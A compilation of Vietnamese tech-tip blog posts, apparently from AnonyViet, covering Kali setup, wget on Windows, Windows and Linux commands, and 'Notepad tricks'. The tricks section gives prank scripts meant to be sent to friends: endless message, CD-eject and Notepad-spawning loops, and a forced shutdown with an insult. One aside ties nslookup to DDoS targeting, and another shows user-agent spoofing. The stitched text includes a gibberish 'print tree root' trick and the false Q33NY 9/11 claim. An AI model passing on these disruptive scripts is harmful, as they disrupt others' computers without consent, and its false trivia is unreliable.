cd USB-Rubber-Ducky/Encoder/
java -jar encoder.jar -i input_payload.txt -o inject.bin

Thay đổi key SSH và mật khẩu mặc định

Mật khẩu mặc định cho các phiên bản Kali Linux cũ hơn (dưới 2020.1) là toor, còn ở các phiên bản mới nhất là kali. Ngoài ra, các key SSH mặc định có thể cho phép kẻ tấn công chặn các liên lạc của bạn khi bạn kiểm soát thứ gì đó như Raspberry Pi thông qua SSH.

cd /etc/ssh/
dpkg-reconfigure openssh-server

Bây giờ, để thay đổi mật khẩu mặc định của Kali, hãy nhập lệnh passwd root, sao đó nhập mật khẩu mới của bạn. Sau đó gõ lại lệnh đó để xác thực. Nếu bạn chưa đăng nhập bằng tài khoản root, bạn sẽ được hỏi mật khẩu hiện tại.

passwd root

Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully

Còn các bạn thường làm gì sau khi cài Kali Linux xong? Đối với từng lĩnh vực và kinh nghiệm khác nhau sẽ có tuỳ người chọn những phần mềm khác nhau. Riêng mình, sau khi cài đặt Kali là cài đặt Unikey và Visual Studio Code. Còn các bạn?

Câu hỏi thường gặp

Tôi nên cài đặt những phần mềm nào sau khi cài đặt Kali Linux?

Bạn nên cài đặt Git để quản lý mã nguồn, một terminal multiplexer như Tilix để quản lý nhiều phiên terminal cùng lúc, và các công cụ pentesting phù hợp với nhu cầu và chuyên môn của bạn (ví dụ: Aircrack-ng).

Làm thế nào để tùy chỉnh môi trường Kali Linux?

Bạn có thể tùy chỉnh bằng cách chỉnh sửa file /root/.bash_aliases để tạo các alias và hàm tùy chỉnh, giúp tự động hóa các tác vụ và tối ưu hóa dòng lệnh. Ví dụ, bạn có thể tạo alias cho lệnh ls với các tham số bổ sung.

Tại sao nên tạo người dùng cấp thấp thay vì luôn sử dụng tài khoản root?

Sử dụng tài khoản root cho tất cả hoạt động tiềm ẩn nhiều rủi ro bảo mật. Tạo người dùng cấp thấp cho các ứng dụng như trình duyệt giúp hạn chế thiệt hại nếu bị tấn công.

Command Prompt (CMD) trong Windows 10 không đủ các tính năng như Termimal trên Linux . Để bù đắp cho những thiếu sót của nó, các công cụ như wget và Cygwin có thể được cài đặt trên Windows để tận dụng tối đa tính năng từ Command Prompt.

Trong hướng dẫn này, AnonyViet sẽ xem cách download, cài đặt và thiết lập wget windows 7, 8, 10, server, v.v … Để biết thêm thông tin về cách sử dụng wget, hãy xem hướng dẫn sau.

Cài đặt wget trên Windows để Download File

Lệnh wget cho phép bạn Download FIle qua giao thức TCP/IP: FTP, HTTP và HTTPS. Nếu bạn là người dùng Linux hoặc Mac, wget đã được tích hợp sẵn trong phiên bản distro chính thức. Thật không may, wget lại không có sẵn trên Windows. Để chạy WGET, bạn cần tải xuống, giải nén và cài đặt thủ công.

Download wget về Windows

Download từ Sourceforge

Sourceforge cung cấp hỗ trợ cho rất nhiều dự án mã nguồn mở và miễn phí. wget là một trong số đó. Bạn có thể Download các phiên bản wget trên Windows từ các link sau: https://sourceforge.net/projects/gnuwin32/files/wget/1.11.4-1/

Download từ Eternallybored

Eternallybored.org là một trang web cung cấp các file nhị phân của dự án GNU. Mình khuyến khích nên tải wget từ Eternallybored vì nó có phiên bản x86 và x64, và được cập nhật thường xuyên. Bạn có thể tải về wget từ các liên kết sau:

https://eternallybored.org/misc/wget/

Cài đặt wget trên Windows

Hiện wget hổ trợ cả trên Windows 7 đến Windows 10, do đó tương thích với hệ điều thành mới nhất. Sau khi tải file wget về, bạn sẽ có được file wget.exe.

Bây giờ chúng ta sẽ tạo thư mục wget đặt nó nằm trong đường dẫn: C:\Program Files\

Như vậy chúng ta sẽ có được dẫn là C:\Program Files\wget

Bây giờ hãy copy file wget.exe vào thư mục C:\Program Files\wget

Tiếp theo, bạn cần thêm đường dẫn của wget.exe vào biến môi trường trên Windows. Điều này sẽ thêm đường dẫn file wget đường đến biến PATH được sử dụng để xác định vị trí của file wget. Mỗi lần gọi lệnh wget chỉ cần gõ wget mà không cần phải gõ cả đường dẫn C:\Program Files\wget\wget.exe. Bạn thực hiện như sau:

Click phải chuột vào This Computer chọn Properties chọn Advenced System Settings -> Advanced -> Environment Variables ->  System variable.

Nhìn xuống dưới tìm dòng path -> Edit -> New gõ đường dẫn C:\Program Files\wget

chọn OK

Bây giờ bạn mở CMD quyền administrator lên gõ lệnh wget, nếu thấy thông báo wget: missing URL là thành công.

Bây giờ thử Download file có direct link bằng wget. Lệnh download bằng wget trên Windows là

wget địa-chỉ-link-cần-download

Ví dụ bạn muốn tải file iso của kali linux bằng wget thì gõ lệnh

wget https://cdimage.kali.org/kali-2020.1b/kali-linux-2020.1b-installer-amd64.iso

Như vậy chúng ta đã có thể dùng lệnh wget của linux trên Windows một cách nhanh chóng.

Cách sử dụng lệnh wget

wget có khá nhiều thuộc tính, thông thường chúng ta chỉ sử dụng wget trên windows để tải 1 file nào đó. Nhưng bạn chưa biết wget còn có khá nhiều tính năng hay ho như Download cả Website. Dưới đây là một số lệnh wget trên Windows giúp bạn tiết kiệm thời gian để Download File:

DOWNLOAD MỘT TẬP TIN DUY NHẤT

wget http://website.com/file.zip

DOWNLOAD MỘT TỆP DUY NHẤT NHƯNG LƯU THÀNH TÊN KHÁC

wget ‐‐output-document=newname.html website.com

DOWNLOAD MỘT THƯ MỤC CỤ THỂ

wget ‐‐directory-prefix=folder/subfolder website.com/file.zip

TIẾP TỤC DOWNLOAD FILE TRƯỚC ĐÓ BỊ GIÁN ĐOẠN

wget ‐‐continue website.com /file.zip

DOWNLOAD PHIÊN BẢN MỚI HƠN CỦA TỆP

wget ‐‐continue ‐‐timestamping website.com/file.zip

DOWNLOAD NHIỀU TRANG WEB

Đối tham số này, bạn cần tạo một danh sách trong Notepad hoặc trình soạn thảo văn bản khác. Thêm một URL đầy đủ mới (với http://) vào một dòng riêng biệt. Sau đó trỏ wget đến tập tin. Trong ví dụ này, tôi đặt tên tệp là Filelist.txt và lưu nó trong thư mục wget.

wget ‐‐input Filelist.txt

DOWNLOAD TOÀN BỘ TRANG WEB

wget ‐‐execute robots=off ‐‐recursive ‐‐no-parent ‐‐continue ‐‐no-clobber http://website.com

Bạn có thể cố gắng giả mạo các user agent bằng cách mạo danh Googlebot. Hãy thử gõ này:

wget –user-agent="Googlebot/2.1 (+http://www.googlebot.com/bot.html)" -r http://website.com

DOWNLOAD MỘT LOẠI TỆP CỤ THỂ TỪ MỘT TRANG WEB

wget ‐‐level=1 ‐‐recursive ‐‐no-parent ‐‐accept FILETYPE http://website.com / FILETYPE/

Ví dụ: thay đổi FILETYPE cho MP3, MP4, .zip hoặc bất cứ thứ gì bạn thích.

DOWNLOAD TẤT CẢ HÌNH ẢNH TRANG WEB

wget ‐‐directory-prefix=files/pictures ‐‐no-directories ‐‐recursive ‐‐no-clobber ‐‐accept jpg,gif,png,jpeg http://website.com/images/

KIỂM TRA MỘT TRANG WEB CHO CÁC LIÊN KẾT BỊ HỎNG

wget ‐‐output-file=logfile.txt ‐‐recursive ‐‐spider http://website.com

TẢI TẬP TIN MÀ KHÔNG LÀM QUÁ TẢI MÁY CHỦ WEB

wget ‐‐limit-rate=20k ‐‐wait=60 ‐‐random-wait ‐‐mirror http://website.com

Có hàng trăm, nếu không phải là hàng ngàn lệnh wget và AnonyViet liệt kê ra ở đây. Bây giờ bạn đã quen thuộc với công cụ này và cách thức hoạt động của nó, tùy thuộc vào việc bạn sử dụng nó để làm gì!

Câu hỏi thường gặp

Tôi có thể tải wget từ đâu?

Bạn có thể tải wget từ SourceForge (https://sourceforge.net/projects/gnuwin32/files/wget/1.11.4-1/) hoặc Eternallybored (https://eternallybored.org/misc/wget/). Eternallybored thường được khuyến nghị vì có các phiên bản x86 và x64, và được cập nhật thường xuyên hơn.

Sau khi tải wget về, tôi cần làm gì để sử dụng nó?

Bạn cần đặt file wget.exe vào một thư mục (ví dụ: C:\Program Files\wget), sau đó thêm đường dẫn đến thư mục đó vào biến môi trường PATH của Windows. Điều này cho phép bạn chạy wget từ bất kỳ đâu trong Command Prompt mà không cần phải chỉ định đường dẫn đầy đủ.

Làm thế nào để sử dụng wget để tải một file?

Chỉ cần mở Command Prompt và gõ wget [địa chỉ URL của file]. Ví dụ: wget https://www.example.com/file.zip sẽ tải file file.zip từ www.example.com.

Nếu bạn đang vào sử dụng PowerShell hoặc Command Prompt, thì việc thực thi các lệnh này đều giống nhau ở cả 2 công cụ. Trong bài viết này AnonyViet chỉ giới thiệu sơ qua 10 lệnh bạn sẽ thường xuyên sử dụng khi giải quyết các vấn đề liên quan đến mạng máy tính.

ipconfig: Tìm địa chỉ IP máy tính một cách nhanh chóng

Bạn có thể tìm thấy địa chỉ IP của bạn từ Control Panel, nhưng phải mất một vài cú nhấp chuột để đạt được điều đó.

Lệnh ipconfig sẽ giúp bạn nhanh chóng xác định được địa chỉ IP máy tính của bạn và các thông tin khác, chẳng hạn như địa chỉ của Gateway để biết được mạng của máy tính bạn được dẫn đường ra Intenet bởi IP nào

Mở rộng hơn nửa sẽ là lệnh ipconfig /all , với lệnh này bạn sẽ xem thêm được các thông tin chi tiết về địa chỉ MAC của Card mạng, DNS Server bạn đang sử dụng….

ipconfig /flushdns: giúp xóa cache DNS

Nếu bạn thường xuyên thay đổi DNS nhằm để truy cập Website nhanh hơn, hoặc vào các Website bị chặn bởi nhà mạng. Ví dụ, hồi xưa các bạn thường đổi DNS sang 8.8.8.8 của Google để vào được Facebook. Tuy nhiên sẽ có một số trường hợp DNS cũ còn lưu cache (bộ nhớ tạm) để giảm bớt thời gian hỏi đường ra Internet, do đó 1 số truy cập Website sẽ không được thực hiện, cho dù bạn đã đổi sang DNS.

Với lệnh ipconfig /flushdns sẽ giúp bạn xóa cache của DNS cũ đi, giúp cho máy tính sẽ thực hiện hỏi đường bằng DNS mới ngay lập tức.

Bạn nên sử dụng lệnh ipconfig /flushdns ngay khi vừa đổi qua 1 DNS khác.

Ping và Tracert: khắc phục sự cố kết nối mạng

Nếu bạn đang gặp phải vấn đề về kết nối với một trang web hoặc lỗi kết nối mạng, Windows và các hệ điều hành khác đều tích hợp sẵn công cụ giúp bạn xác định tình trạng kết nối mạng trên hệ thống

Lệnh ping

Bạn sử dụng cấu trúc ping địa-chỉ-website hoặc ping địa-chỉ-IP 

Ví dụ: ping anonyviet.com

Lúc này Windows sẽ gửi các gói tin đến địa chỉ bạn vừa ping, và trên màn hình sẽ xuất hiện các thông số về gói tin được gửi đi, gói tin trả lời, thời gian đáp ứng….

Đơn giản nếu thấy Request time out thì có nghĩa là đứt kết nối

Còn thấy có Reply…. thì là kết  nối được, nếu time càng cao thì tốc độ kết nối chậm và ngược lại

Lệnh Tracert

Dùng để xác định đường đi mạng của bạn. Ví dụ bạn muốn tìm hiểu, từ máy tính nhà mình, muốn truy cập đến AnonyViet, nó sẽ đi qua các IP nào thì sử dụng lệnh tracert anonyviet.com

Ví dụ ở nhà mình IP máy tính sẽ đi đến IP Router Internet rồi đến 1 loạt gateway của VNPT, sau đó đi qua HongKong, rồi mới đến IP của AnonyViet

Shutdown: hẹn giờ tắt hoặc khởi động lại máy tính

Lệnh này giúp bạn tắt máy theo thời gian định sẵn (tính bằng giây).

Bạn sử dụng với cấu trúc như sau:

• shutdown /s /f /t 10 :  Tắt máy tính sau 10 giây
• shutdown /r /f /t 10:  Khởi động lại máy tính sau 10 giây

sfc /scannow: quét lỗi Windows

Đây là lệnh giúp kiểm tra lỗi hệ thống Windows, nếu thiếu file hoặc file hệ thống bị hỏng, chương trình sẽ tự động sữa lỗi và khôi phục lại giúp Windows hoạt động tốt hơn.

nslookup: Tìm địa chỉ IP liên kết với một tên miền

Một tên miền sẽ liên kết với một hoặc nhiều IP nhất định, để xác định IP của tên miền đó là gì bạn có thể sử dụng lệnh nslookup

Ví dụ, bạn có thể gõ nslookup anonyviet.comvào Command Prompt để nhanh chóng tìm ra địa chỉ IP được gán cho Server của AnonyViet.

Đây là một cách mà các bạn dùng xác định IP Website để thực hiện DDOS UDP

Bạn sẽ đam mê Công nghệ hơn nếu biết những thủ thuật notepad dưới đây. Những thủ thuật này sẽ mang lại cho bạn kiến thức, niềm vui với bạn bè ! Những thủ thuật này rất đơn giản và cực kì dễ dàng. Chỉ cần làm theo hướng dẫn dưới đây của AnonyViet

• Đảm bảo 100% các bạn đều có thể thực hiện được !
• NotePad ( Tool soạn thảo được tích hợp sẵn trên Windows) là công cụ duy nhất bạn cần để thực hiện việc này !

Hướng Dẫn

Bạn chỉ cần sao chép các đoạn mã dưới đây vào NotePad và lưu lại với đuôi tùy theo yêu cầu của từng code bên dưới là được.

#1 Thử Nghiệm Antivirus Với NotePad 

Bằng cách này bạn sẽ biết được chương trình AntiVirus của bạn có đang hoạt động tốt hay không

X5O!P%@AP[4PZX54(P^) 7CC)7}$EICAR-STANDARD- ANTIVIRUS-TEST-FILE!$H+H*

Bạn lưu nó lại với đuôi .exe và chạy thử.
Nếu chương trình Antivirus phát hiện được thì chứng tỏ nó đang hoạt động tốt. Code này không gây hại cho máy tính của bạn

#2 Tạo nhật ký cá nhân với NotePad

Sao chép mã dưới đây và lưu với đuôi .txt

.LOG

Bây giờ mỗi khi bạn mở tệp nhật kí này bạn sẽ thấy các chi tiết nhật kí ngày và giờ ngay bên dưới ghi chú mới của bạn.

#3 Tạo hộp thoại lời nhắn lặp lại tuần hoàn

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

Phía sau msg * bạn có thể sửa thành lời nhắn của bạn.
Lưu lại với đuôi .bat

#4 Auto mở ổ đĩa CD của máy tính

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Cho dù đối phương cố gắng đóng ổ đĩa lại thì nó vẫn sẽ bật trở ra !
Cái này thú vị khi dùng đi troll bạn bè. Lưu lại với đuôi .vbs

#5 Hiện một tin nhắn và tắt máy tính

@echo off
msg * Hey how are you
shutdown -c “Error! You are really a stupid!” -s

Phía sau msg * bạn có thể đổi thành tin nhắn theo ý bạn.
Lưu lại với đuôi .bat

#6 Giảm tốc độ gõ phím trên máy tính

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject (“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate Notepad“”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

Bạn lưu lại với đuôi .vbs

#7 Hiệu ứng ma trận (Maxtric)

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

Lưu lại với đuôi .bat

#8 Chuyển Đổi Văn Bản Sang Âm Thanh

Dim message, sapi message=InputBox(“Text”,”Text”) Set sapi=CreateObject(“sapi.spvoice”) sapi.Speak message

Thay đổi chữ Text thành văn bản của bạn. Lưu lại với đuôi .vbs

#9 Mẹo của Notepad In cây gốc

{print tree root}
C:windowssystem
{print C:windowssystemwinlog
4*43″$@[455] 3hr4~

Thủ thuật này là một trong những Best Notepad Trick sẽ in ra cây gốc trên màn hình của bạn. Chỉ cần sao chép dưới đây mã, dán nó vào notepad và lưu nó như teekids trong C: hệ thống cửa sổ.

#10 Làm Điên Nút Capslock của bạn

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop

Bạn có thể chuyển đổi phím Capslock của bàn phím bằng cách gõ mã trong Notepad. Lưu lại với đuôi .vbs 

#11 Giả Mạo Hộp Thoại Lỗi 

Đơn giản chỉ cần mở notepad dán mã và lưu các tập tin với đuôi .vbs
Bạn có thể chỉnh sửa ljai nội dung theo ý bạn ở phần “Put …. “
Bây giờ khi bạn mở tập tin đã lưu, bạn sẽ thấy một thông báo lỗi.

X=Msgbox(“Put your Message Here”,0+16,”Put Title Here”)

#12 LED Dance của Bàn phím

Đơn giản chỉ cần mở Notepad và nhập đoạn mã sau và lưu với đuôi .vbs

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop

Một khi bạn mở tập tin đã lưu, bạn sẽ thấy cả ba đèn LED của bàn phím sẽ bắt đầu nhấp nháy liên tục

#13 Mở NotePad liên tục

Đây là trò đùa hoàn hảo để làm phiền bạn của bạn.
Bạn có thể gửi nó cho bạn bè và khiến họ tức tối !!

@ECHO OFF
:TOP
START %SYSTEMROOT%\SYSTEM32\NOTEPAD.EXE
GOTO TOP

Lưu lại với đuôi .bat

#14 Mô phỏng lại cuộc tấn công thương mại

Số chuyến bay của máy bay đã rơi vào trung tâm Thương mại Thế giới vào ngày 9/11 là Q33NY. Vâng, bạn có thể gọi sự trùng hợp ngẫu nhiên này, nhưng nó sẽ gây sốc cho bạn.

Bước 1 Mở Notepad và gõ [su_highlight color=”#f70628″]Q33N[/su_highlight]

Bước 2 Bây giờ tăng kích thước phông chữ lên 72 và thay đổi phông chữ thành Wingding

Bạn sẽ bị sốc khi tìm ra đồ họa thị giác. Bạn đã tin chuyến bay đó là chuyến bay tử thần chưa ???

AnonyViet – Better And Better

Có một số việc bạn chỉ có thể thực hiện từ việc gõ dòng lệnh trong Command Prompt hoặc PowerShell, trong khi đó các công cụ này không có tương tác đồ họa và khó sử dụng hơn so với những chương trình có giao diện cụ thể.

Lý do chính là Command Prompt được sử dụng để thực thi tệp tin batch, thực hiện các tác vụ một cách nhanh chóng, giúp bạn gỡ rối và giải quyết một số vấn đề của Windows khi hệ thống gặp sự cố. Tuy vậy, không phải hầu hết các lệnh trong Windows đều hữu ích và thường xuyên phải thực hiện. Với 10 dòng lệnh trong bài viết dưới đây rất có ích ngay cả khi bạn không phải là một người quản trị.

Cách mở Command Prompt: Vào Start->Run->gõ cmd hoặc nhấn phím Windows + R

Ipconfig: Tìm hoặc thay đổi nhanh địa chỉ IP máy tính

Tuy bạn có thể tìm thấy địa chỉ IP của máy tính từ trong Control Panel, nhưng điều này cần phải thông qua một vài cú nhấp chuột. Lệnh ipconfig trong cửa sổ Command Prompt là cách nhanh nhất để xác định địa chỉ IP và các thông tin khác như địa chỉ Gateway mặc định, Subnet Mask.

Ipconfig /flushdns: Xóa toàn bộ dữ liệu trong bộ nhớ DNS

Nếu bạn thay đổi DNS server, hiệu ứng sẽ không nhất thiết phải diễn ra ngay lập tức. Khi đó Windows sử dụng một bộ nhớ đệm (cache) để lưu lại các phản ứng DNS nhận được nhằm tiết kiệm thời gian khi bạn truy cập vào địa chỉ cũ một lần nữa trong tương lai.

Như vậy để đảm bảo Windows nhận địa chỉ từ một DNS server mới thay vì sử dụng địa chỉ cũ trong cache, bạn chỉ cần chạy lệnh ipconfig /flushdns sau khi thay đổi DNS server của mình.

Ping: Kiểm tra kết nối với một máy tính khác

Khi gặp các vấn đề về kết nối với một trang web hoặc một máy tính khác trong mạng nội bộ, Windows đã cung cấp sẵn một lệnh giúp bạn test các kết nối để xác định tình trạng của mạng đó là lệnh Ping. Chỉ cần gõ Ping cùng với một địa chỉ IP hoặc địa chỉ trang web và Enter là xong.

Shutdown: Tạo một Shortcut tắt máy nhanh trong Windows 8/10

Lệnh Shutdown rất hữu ích trong Windows 8/10, bạn có thể sử dụng nó để tạo ra các shortcut cho riêng mình và đặt chúng trên màn hình Start Screen hoặc Desktop để dễ dàng tắt hoặc khởi động lại máy mà không cần phải truy cập vào thanh Charms.

Để thực hiện, hãy tạo một shortcut và nhập shutdown /s /t 0 nếu muốn tắt máy vàshutdown /r /t 0 nếu muốn khởi động lại máy.

Recimg: Tạo điểm phục hồi tùy chỉnh trong Windows 8/10

Tính năng Refresh Your PC trong Windows 8 cho phép bạn phục hồi lại máy tính về trạng thái ban đầu từ một bản cài đặt Windows gọn nhất hoặc từ nhà sản xuất.

Bạn có thể tạo một điểm phục hồi tùy chỉnh tùy theo ý mình nhưng tính năng này lại bị ẩn trong Windows, vì vậy cần phải thực hiện với lệnh Recimg từ Command Prompt. Khi thực hiện lệnh này, bạn có thể loại bỏ bloatware cài đặt từ nhà sản xuất hoặc thêm các chương trình yêu thích vào điểm phục hồi của mình.

Wbadmin start backup: Tạo ảnh phục hồi hệ thống

Như bạn đã biết, Windows 8.1 đã loại bỏ giao diện Backup của Windows 7 – Nơi cho phép bạn dễ dàng tạo ảnh sao lưu hệ thống để phục hồi khi cần thiết. Ảnh hệ thống (System images) chứa một bản chụp lại toàn bộ hệ thống dưới một tệp tin duy nhất, do đó nó khác với Recovery Images của Windows 8.

Trong khi giao diện đồ họa đã được gỡ bỏ, quản trị hệ thống và chuyên viên máy tính vẫn có thể tạo ra bản sao lưu hệ thống bằng cách chạy lệnh Wbadmin start backup trong công cụ PowerShell.

Sfc /Scannow: Quét các tệp tin hệ thống

Windows bao gồm một công cụ gọi là System files checker dùng để quét toàn bộ các tệp tin hệ thống và tìm ra các vấn đề. Nếu các tệp tin hệ thống bị mất hoặc bị hỏng, công cụ này sẽ tự động sửa chúng. Để sử dụng System files checker, bạn hãymở cửa sổ lệnh Command Prompt và gõ sfc /scannow.

Telnet: Kết nối với Telnet Servers

Telnet Client không được cài đặt mặc định nên bạn sẽ phải cài đặt nó từ trong Control Panel. Sau khi cài đặt, bạn có thể sử dụng lệnh Telnet để kết nối với các Telnet Server mà không cần cài đặt bất kỳ phần mềm nào của bên thứ ba. Tuy rằng chúng ta nên tránh sử dụng Telnet, nhưng nếu bạn đang kết nối trực tiếp với một thiết bị và nó yêu cầu bạn sử dụng Telnet để thiết lập một điều gì đó thì là vẫn phải thực hiện bình thường.

Cipher: Xóa dữ liệu vĩnh viễn

Lệnh Cipher chủ yếu được sử dụng cho việc quản lý mã hóa, nhưng nó cũng có một tùy chọn khác là cho phép bạn xóa vĩnh viễn tệp tin và đảm bảo không thể phục hồi được. Lệnh này rất có hiệu quả trong quá trình quét sạch một ổ đĩa mà không cần cài đặt bất cứ một công cụ nào khác.

Để sử dụng lệnh Cipher, bạn chỉ cần chỉ định một ổ đĩa hoặc một thư mục cụ thể chẳng hạn như: cipher /w:c: hoặc cipher /w:c:\…

Netstat –an: Liệt kê các kết nối mạng và cổng

Lệnh Netstat là đặc biệt hữu ích, nó sẽ hiển thị tất cả các số liệu thống kê mạng khi được sử dụng với các tùy chọn khác nhau. Một trong những biến thể thú vị nhất của Netstat chính là Netstat –an, trong đó sẽ hiển thị một danh sách tất cả các kết nối mạng đang mở trên máy tính cùng với các cổng đang sử dụng và địa chỉ IP đã kết nối.

​

Các lệnh cơ bản dành cho VPS và Máy chủ Linux

1. Lệnh liên quan đến hệ thống

exit: thoát khỏi cửa sổ dòng lệnh.
logout: tương tự exit.
reboot: khởi động lại hệ thống.
halt: tắt máy.
startx: khởi động chế độ xwindows từ cửa sổ terminal.
mount: gắn hệ thống tập tin từ một thiết bị lưu trữ vào cây thư mục chính.
unmount: ngược với lệnh mount.
/usr/bin/system-config-securitylevel-tui: Cấu hình tường lửa và SELinux

2. Lệnh xem thông tin

cat /proc/cpuinfo: Tìm chi tiết kỹ thuật của CPU
cat /proc/meminfo: Bộ nhớ và trang đổi thông tin
lspci: Xem thông tin mainboard
uname -r: Xem hạt nhân phiên bản
gcc -v: Compiler phiên bản nào tôi đã cài đặt.
/sbin/ifconfig: Xem các địa chỉ IP của bạn.
netstat: xem tất cả các kết nối.
lsmod: Những gì được nạp module hạt nhân
last: xem những ai đã login vào hệ thống
df: Xem dung lượng ổ đĩa cứng
free -m: xem dung lượng sử dụng bộ nhớ
netstat -an |grep :80 |wc -l: xem có bao nhiêu kết nối đến cổng 80

3. Lệnh thao tác trên tập tin

ls: lấy danh sách tất cả các file và thư mục trong thư mục hiện hành.
pwd: xuất đường dẫn của thư mục làm việc.
cd: thay đổi thư mục làm việc đến một thư mục mới.
mkdir: tạo thư mục mới.
rmdir: xoá thư mục rỗng.
cp: copy một hay nhiều tập tin đến thư mục mới.
mv: đổi tên hay di chuyển tập tin, thư mục.
rm: xóa tập tin.
wc: đếm số dòng, số kí tự… trong tập tin.
touch: tạo một tập tin.
cat: xem nội dung tập tin.
vi: khởi động trình soạn thảo văn bản vi.
df: kiểm tra dung lượng đĩa.
du: xem dung lượng đĩa đã dùng cho một số tập tin nhất định
tar -cvzpf archive.tgz /home/example/public_html/folder: nén một thư mục
tar -tzf backup.tar.gz: liệt kê file nén gz
tar -xvf archive.tar: giải nén một file tar
unzip file.zip: giải nén file .zip
wget: download một file.
chown user:user folder/ -R: Đổi owner cho toàn bộ thư mục vào file.

4. Lệnh khi làm việc trên terminal

clear: xoá trắng cửa sổ dòng lệnh.
date: xem ngày, giờ hệ thống.
find /usr/share/zoneinfo/ | grep -i pst: xem các múi giờ.
ln -f -s /usr/share/zoneinfo/Asia/Ho_Chi_Minh /etc/localtime: Đổi múi giờ máy chủ về múi giờ Việt Nam
date -s “1 Oct 2009 18:00:00”: Chỉnh giờ
cal: xem lịch hệ thống.

5. Lệnh quản lí hệ thống

rpm: kiểm tra gói đã cài đặt hay chưa, hoặc cài đặt một gói, hoặc sử dụng để gỡ bỏ một gói.
ps: kiểm tra hệ thống tiến trình đang chạy.
kill: dừng tiến trình khi tiến trình bị treo. Chỉ có người dùng super-user mới có thể dừng tất cả các tiến trình còn người dùng bình thường chỉ có thể dừng tiến trình mà mình tạo ra.
top: hiển thị sự hoạt động của các tiến trình, đặc biệt là thông tin về tài nguyên hệ thống và việc sử dụng các tài nguyên đó của từng tiến trình.
pstree: hiển thị tất cả các tiến trình dưới dạng cây.
sleep: cho hệ thống ngừng hoạt động trong một khoảng thời gian.
useradd: tạo một người dùng mới.
groupadd: tạo một nhóm người dùng mới.
passwd: thay đổi password cho người dùng.
userdel: xoá người dùng đã tạo.
groupdel: xoá nhóm người dùng đã tạo.
gpasswd: thay đổi password của một nhóm người dùng.
su: cho phép đăng nhập với tư cách người dùng khác.
groups: hiển thị nhóm của user hiện tại.
who: cho biết ai đang đăng nhập hệ thống.
w: tương tự như lệnh who.
man: xem hướng dẫn về dòng lệnh như cú pháp, các tham số…

Lưu ý: hệ điều hành Linux phân biệt chữ hoa và chữ thường.

Thông tin sưu tầm